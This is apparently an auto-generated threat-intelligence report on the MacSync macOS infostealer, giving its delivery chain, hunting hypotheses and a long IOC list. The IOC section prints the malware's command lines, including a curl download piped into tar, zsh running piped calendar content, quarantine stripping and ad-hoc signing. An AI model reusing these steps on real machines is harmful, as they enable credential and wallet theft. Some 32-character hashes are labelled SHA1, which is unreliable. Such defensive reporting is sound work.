MacSync under the microscope: new delivery methods and a new payload
MacSync macOS infostealer and backdoor uses binary droppers, iCloud calendar delivery, and Swift/Objective-C payloads to steal credentials and crypto from developers and crypto users. MacSync deploys via malicious DMGs disguised as cracked apps or fake crypto wallets like Toria. The infection chain uses binary droppers, iCloud calendar C2 for script delivery, and multi-layered AES/ECDH encryption to deploy a Swift infostealer and Objective-C backdoor. The backdoor supports browser MitM, Ledger replacement, and arbitrary AppleScript execution.
Detection / Hunteropenrouter
Immediate Actions
- Block known C2 domains: toria.apple03cloudstore.com, docsend.appstore.com.mx
- Block URLs for malicious DMG downloads and iCloud calendar payload URLs
- Hunt for LaunchAgent com.apple.finder.agent and .zshrc modifications
- Isolate and reimage hosts with confirmed MacSync infections
Key Takeaways
- Malware evolved from AppleScripts to compiled binaries in Objective-C and Swift.
- Uses iCloud calendar descriptions to deliver shell scripts via zsh pipes.
- Implements ECDH Curve25519 key exchange for decrypting payload modules via custom pkgunpack utility.
- Backdoor persists via LaunchAgent, .ZSHRC injection, and Git hooks, killing notification agents.
- Infostealer uses PAM API for password verification, a newer technique for macOS malware.
- Targets browser data, crypto wallets, Telegram, Keychain, and developer configs (SSH, AWS, K8s, GIT).
Attack Chain
- Initial Access: Malicious DMG distributed via fake apps (Toria) or ClickFix social engineering
- Execution: DMG app removes quarantine attributes, decrypts overlay URL pointing to iCloud calendar
- Execution: iCloud calendar content piped to zsh, downloading and executing Loader.app.tar.gz
- Defense Evasion: Multi-stage droppers use AES-CBC and ECDH Curve25519 encryption to decrypt payloads
- Persistence: Backdoor installs via LaunchAgent, .ZSHRC injection, and Git hooks; kills notification agents
- Exfiltration: Infostealer collects browser data, crypto wallets, Keychain, Telegram, and dev configs to /tmp for upload
Affected Systems
- macOS devices (Apple Silicon and Intel)
- macOS versions older than 13.0
- Web browsers (Chrome, Brave)
- Crypto wallet applications (Ledger)
- Telegram
Detection Availability
No detection rules or queries are published in the source article.
Detection Engineering Assessment
Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | Process execution, file operations, and persistence mechanisms visible, but encryption and in-memory execution reduce visibility. |
| Network Visibility | Medium | C2 over HTTP visible, but iCloud calendar abuse blends with legitimate traffic. |
| Detection Difficulty | Hard | Multi-layered encryption, legitimate infrastructure abuse, and anti-analysis techniques complicate detection. |
Hunting Hypotheses
| Hypothesis | Telemetry | Stage | FP Risk |
|---|---|---|---|
| Hunt for zsh processes receiving input via pipes from non-standard parent processes, especially those reading calendar or downloaded content (T1059.004). | Process execution and pipe creation logs | Execution | Medium — legitimate scripts may use pipes |
| Hunt for newly created LaunchAgents with names mimicking Apple system processes like com.apple.finder.agent (T1543.001). | LaunchAgent creation and modification logs | Persistence | Low — specific agent name is suspicious |
| Hunt for modifications to .zshrc files that append commands referencing hidden files or scripts in non-standard locations (T1546.004). | File system monitoring for .zshrc changes | Persistence | Medium — developers may modify .zshrc |
| Hunt for processes killing BackgroundTaskManagementAgent, NotificationCenter, or BTMNotificationAgent to evade user notifications (T1562). | Process termination logs | Defense Evasion | Low — killing these agents is abnormal |
Required Log Sources
- macOS process execution logs
- macOS file system events
- LaunchAgent/LaunchDaemon creation logs
- Network proxy logs
- DNS resolution logs
- ZSH command history
Key Behavioral Indicators
- xattr -cr command executed by downloaded applications to remove quarantine
- zsh -s receiving piped input from non-standard processes
- LaunchAgent named com.apple.finder.agent created outside system context
- Modifications to .zshrc appending execution of hidden scripts
- Processes killing BTMNotificationAgent, NotificationCenter, BackgroundTaskManagementAgent
- Ad-hoc code signing of downloaded applications via codesign -fs - --deep
Control Gaps
- Standard AV may miss multi-layered encrypted payloads and binary droppers
- Network security may not inspect iCloud calendar traffic for malicious content
- Endpoint controls may not flag ad-hoc signed applications without quarantine attributes
- Git hook-based persistence may bypass endpoint monitoring
- PAM-based credential verification may not trigger existing macOS malware detections
False Positive Assessment
Low — specific indicators like com.apple.finder.agent LaunchAgent, iCloud calendar piping to zsh, and killing notification agents are highly suspicious and unlikely in normal operations.
Recommendations
Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.
Infrastructure Hardening
- Block access to known malicious iCloud calendar URLs at network proxy
- Implement DNS filtering for attacker-controlled domains
- Monitor for HTTP requests with X-Upload-Token header to known C2 paths
- Inspect iCloud calendar traffic for embedded shell commands if feasible
User Protection
- Warn users about fake crypto wallet apps promoted on social media
- Disable automatic opening of downloaded DMG files
- Enable macOS Gatekeeper and prevent execution of ad-hoc signed applications
- Monitor for applications requesting keychain access via PAM API
Security Awareness
- Train developers on risks of downloading cracked or free software
- Advise users to verify crypto wallet apps through official app stores
- Warn about social media promotions for unverified software on X and Telegram
- Educate users on recognizing fake system password prompts and error dialogs
MITRE ATT&CK Mapping
Initial Access
Execution
Persistence
Stealth
Defense Impairment
Credential Access
Collection
Command and Control
Exfiltration
Plain-Language Summary
A malicious software family called MacSync targets Mac users, especially software developers and cryptocurrency users, by pretending to be useful apps. Once installed through a downloaded disk image, it uses Apple's iCloud calendar service to sneak in more harmful code. It steals passwords, browser data, cryptocurrency wallets, and system files, then installs a backdoor for ongoing access. Users should avoid downloading cracked software or unverified crypto apps and ensure their security software is up to date.
Additional IOCs
- Domains:
streamyard[.]appstore[.]com[.]mx- Attacker-controlled domain hosting installer.shslack[.]apple03cloudstore[.]com- Attacker-controlled domain hosting installer.shwaaako[.]appstore[.]com[.]mx- Attacker-controlled domain hosting installer.sh
- Urls:
hxxps://streamyard[.]appstore[.]com[.]mx/installer.sh- Installer script URL on attacker-controlled domainhxxps://slack[.]apple03cloudstore[.]com/installer.sh- Installer script URL on attacker-controlled domainhxxps://waaako[.]appstore[.]com[.]mx/installer.sh- Installer script URL on attacker-controlled domainhxxps://toria[.]apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2.enc- Encrypted stage two payload URL on C2hxxps://docsend[.]appstore[.]com[.]mx/dcc737d157ef4271/stage2.enc- Encrypted stage two payload URL on C2hxxps://docsend[.]appstore[.]com[.]mx/dcc737d157ef4271/CoreUpdate.pkg.enc- Encrypted core update package on C2hxxps://docsend[.]appstore[.]com[.]mx/dcc737d157ef4271/Helper.pkg.enc- Encrypted helper package on C2hxxps://docsend[.]appstore[.]com[.]mx/v1/asset- C2 endpoint for file upload initializationhxxps://docsend[.]appstore[.]com[.]mx/v1/loader/dek- C2 endpoint for retrieving decryption keyhxxps://docsend[.]appstore[.]com[.]mx/v1/loader/log- C2 endpoint for logging/telemetryhxxps://docsend[.]appstore[.]com[.]mx/pkgunpack- C2 endpoint for downloading pkgunpack utility
- File Hashes:
2d69812584269699fade26622e6490c5(SHA1) - Stage one loader hash7df1049cbd56c0bfa4a3364a379b4c2c(SHA1) - Stage one loader hash9f15fe9c4415cd668334339f705b94d8(SHA1) - Stage one loader hashfb90887592655a8c989e443c640167aa(SHA1) - Stage one loader hash6791dad263cac6d63ebba6a4b57e7d71(SHA1) - Stage one loader hash781ce50001d4b449600afa347c9b0208(SHA1) - Stage three dropper hash8e84b01d5ac9624f0b181ade0e737193(SHA1) - Stage three dropper hash980e2134679bc0c609f7659882883d77(SHA1) - Stage three dropper hash4203ec932bfcc0907f91732440d6d997(SHA1) - Stage three dropper hasheb760d5c88f13f7ee0f8f86ba3407123(SHA1) - Stage three dropper hashf9f70096aabb4d22a6657014f4853a53(SHA1) - Stage three dropper hash3deeed48fd38f22e369f5c3092bd68a1(SHA1) - Stage four dropper hashf97d24212fa6a21be0c4d211e10f044c(SHA1) - Stage five script hash00d12d842596bf5ee1805effb4571d30(SHA1) - Stage six script hash9a0043d900a9ac78c886c59c9a328fd0(SHA1) - Stage six script hash7212229c85852c3bffaf9740002b2f39(SHA1) - Auxiliary .repair-run script hashfc3ba5ed282d77127efd0b0f2403531b(SHA1) - Backdoor hash8dc8561349d144d4661bc66f2ec49f9f(SHA1) - Auxiliary autorun tool hash
- File Paths:
/tmp/.sys-<16-digit random value>- Path for decrypted stage three dropper executable$HOME/Library/Application Support/System- Backdoor backup and operational files directory$HOME/Library/Logs/.sysnotif-agent.log- Backdoor log file path/tmp/osalogging.zip- Staging archive for regrab command data exfiltration/tmp/.sn-loader-${upload_token:-$$}.lock- Lock file preventing malware re-execution/tmp/.45e7b90f.zip- Temporary zip archive during infection/tmp/.sn-done-b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650- Completion marker file for stage execution/tmp/.upd-$$- Temporary update file during payload download/tmp/.core-$$.enc- Encrypted core payload temporary file/tmp/.core-$$.tar.gz- Decompressed core payload temporary file/tmp/.pkgunpack-$$- Temporary path for pkgunpack utility/tmp/.zipchunks-$$- Temporary chunked zip file for exfiltration$HOME/.zshrc- ZSH config file modified for persistence$HOME/Library/Keychains/login.keychain-db- Targeted keychain database for credential theft
- Command Lines:
- Purpose: Remove quarantine attributes from downloaded app | Tools:
xattr| Stage: Initial Access |xattr -cr <app_name> - Purpose: Pipe iCloud calendar content to zsh interpreter for execution | Tools:
zsh| Stage: Execution |zsh -s - Purpose: Download and extract tar.gz archive from iCloud | Tools:
curl,tar| Stage: Execution |curl -fsSL --max-time 120 $U | tar xzf - -C "$D" - Purpose: Ad-hoc sign downloaded application | Tools:
codesign| Stage: Defense Evasion |codesign -fs - --deep "$app" - Purpose: Download, decrypt, and execute stage two payload | Tools:
curl,openssl| Stage: Execution - Purpose: Modify keychain partition list to allow unauthorized access | Tools:
security| Stage: Credential Access - Purpose: Check zip archive integrity before exfiltration | Tools:
zip| Stage: Exfiltration |zip -T - Purpose: Calculate SHA-256 hash of exfiltration archive | Tools:
shasum| Stage: Exfiltration |shasum -a 256
- Purpose: Remove quarantine attributes from downloaded app | Tools:
- Other:
com.apple.finder.agent- LaunchAgent name used for backdoor persistencecom.apple.quarantine- Extended attribute checked and removed by malwareb8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650- X-Upload-Token value for C2 authenticationff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d- X-Upload-Token value for C2 authenticationpFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=- Server public key for ECDH key exchange (build_pub_b64)SONOMAC1- Magic word marking encrypted URL overlay in binaryAGNT1- Magic constant in backdoor configuration confirming decryptionBLD-150- Backdoor build number in configurationavd9mkcxgl- Mach-O identifier for backdoor executablesn-dek-wrap-v1- String concatenated with shared secret for SHA-256 key derivationSNWK1- AAD marker in AES-GCM encrypted payload headerdaemon_function- Main function name in stage six scriptKcHelper- Filename checked in app resources for keychain access feature
- domaindocsend[.]appstore[.]com[.]mxC2 server for backdoor and module delivery
- domainslack[.]apple03cloudstore[.]comAttacker-controlled domain hosting installer.sh
- domainstreamyard[.]appstore[.]com[.]mxAttacker-controlled domain hosting installer.sh
- domaintoria[.]apple03cloudstore[.]comC2 server hosting stage two encrypted payload
- domainwaaako[.]appstore[.]com[.]mxAttacker-controlled domain hosting installer.sh
- file_path$HOME/Library/ApplicationSupport/SystemBackdoor backup and operational files directory
- file_path$HOME/Library/Keychains/login.keychain-dbTargeted keychain database for credential theft
- file_path$HOME/Library/Logs/.sysnotif-agent.logBackdoor log file path
- file_path$HOME/.zshrcZSH config file modified for persistence
- file_path/tmp/.45e7b90f.zipTemporary zip archive during infection
- file_path/tmp/.core-$$.encEncrypted core payload temporary file
- file_path/tmp/.core-$$.tar.gzDecompressed core payload temporary file
- file_path/tmp/osalogging.zipStaging archive for regrab command data exfiltration
- file_path/tmp/.pkgunpack-$$Temporary path for pkgunpack utility
- file_path/tmp/.sn-done-b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650Completion marker file for stage execution
- file_path/tmp/.sn-loader-${upload_token:-$$}.lockLock file preventing malware re-execution
- file_path/tmp/.sys-<16-digitrandomvalue>Path for decrypted stage three dropper executable
- file_path/tmp/.upd-$$Temporary update file during payload download
- file_path/tmp/.zipchunks-$$Temporary chunked zip file for exfiltration
- md500d12d842596bf5ee1805effb4571d30Stage six script hash
- md52d69812584269699fade26622e6490c5Stage one loader hash
- md53deeed48fd38f22e369f5c3092bd68a1Stage four dropper hash
- md54203ec932bfcc0907f91732440d6d997Stage three dropper hash
- md56791dad263cac6d63ebba6a4b57e7d71Stage one loader hash
- md57212229c85852c3bffaf9740002b2f39Auxiliary .repair-run script hash
- md5781ce50001d4b449600afa347c9b0208Stage three dropper hash
- md57df1049cbd56c0bfa4a3364a379b4c2cStage one loader hash
- md58dc8561349d144d4661bc66f2ec49f9fAuxiliary autorun tool hash
- md58e84b01d5ac9624f0b181ade0e737193Stage three dropper hash
- md5980e2134679bc0c609f7659882883d77Stage three dropper hash
- md59a0043d900a9ac78c886c59c9a328fd0Stage six script hash
- md59f15fe9c4415cd668334339f705b94d8Stage one loader hash
- md5eb760d5c88f13f7ee0f8f86ba3407123Stage three dropper hash
- md5f97d24212fa6a21be0c4d211e10f044cStage five script hash
- md5f9f70096aabb4d22a6657014f4853a53Stage three dropper hash
- md5fb90887592655a8c989e443c640167aaStage one loader hash
- md5fc3ba5ed282d77127efd0b0f2403531bBackdoor hash
- sha256a39d622b89bc3ddd903e9cefd2848d19a039c7d92178969b86f9ecf7ba36df49SHA256 hash of dropper_arm64.tmp stage one loader
- urlhxxps://caldav[.]icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08iCloud calendar URL delivering stage two shell script
- urlhxxps://docsend[.]appstore[.]com[.]mx/dcc737d157ef4271/CoreUpdate[.]pkg[.]encEncrypted core update package on C2
- urlhxxps://docsend[.]appstore[.]com[.]mx/dcc737d157ef4271/Helper[.]pkg[.]encEncrypted helper package on C2
- urlhxxps://docsend[.]appstore[.]com[.]mx/dcc737d157ef4271/stage2[.]encEncrypted stage two payload URL on C2
- urlhxxps://docsend[.]appstore[.]com[.]mx/pkgunpackC2 endpoint for downloading pkgunpack utility
- urlhxxps://docsend[.]appstore[.]com[.]mx/v1/assetC2 endpoint for file upload initialization
- urlhxxps://docsend[.]appstore[.]com[.]mx/v1/loader/dekC2 endpoint for retrieving decryption key
- urlhxxps://docsend[.]appstore[.]com[.]mx/v1/loader/logC2 endpoint for logging/telemetry
- urlhxxps://gateway[.]icloud[.]com/caldav/1_MTk1NDMwMDMzNTUxOTU0M0pybtJB186GzhogprwCQUjY3oZNiDFHH8WVo6bmgUtI/attach/4GE4TKNBTGAYDGMZVGUYTSNJUGOAALDAFMDOJBGWNUCYJLZRNDCLCO2YMQ3I64RLGMNXVG3KYBPWQOGYIEI236RCYZAE63V5U3RTUYGUMO2CO7PKCLWMCXE73M7OPTHSGRWH5DXQ4PCUQU4ELZTLW54JSTK2H7VQ6PD26WOA2R7PPIQ6RTJWDEWP34U3HB4YWMXXC6EJ6PKWILSPYRSDEVY6QGMWSIUN6PR5W35KO3D4QZE7CFPUVBAEKI/Loader[.]app[.]tar[.]gz/YXR0YWNoYXR0YWNoYXR0YRhrE8mQ0E-b_dTUSGStQgTQ0ULFxCanei3Ke-EuEyQLiCloud calendar attachment URL delivering Loader.app.tar.gz
- urlhxxps://slack[.]apple03cloudstore[.]com/installer[.]shInstaller script URL on attacker-controlled domain
- urlhxxps://streamyard[.]appstore[.]com[.]mx/installer[.]shInstaller script URL on attacker-controlled domain
- urlhxxps://toria[.]app/Fake crypto wallet lure website promoting Toria app
- urlhxxps://toria[.]apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2[.]encEncrypted stage two payload URL on C2
- urlhxxps://waaako[.]appstore[.]com[.]mx/installer[.]shInstaller script URL on attacker-controlled domain
- urlhxxps://warpcast[.]asia/Toria[.]dmgMalicious DMG download for Toria fake wallet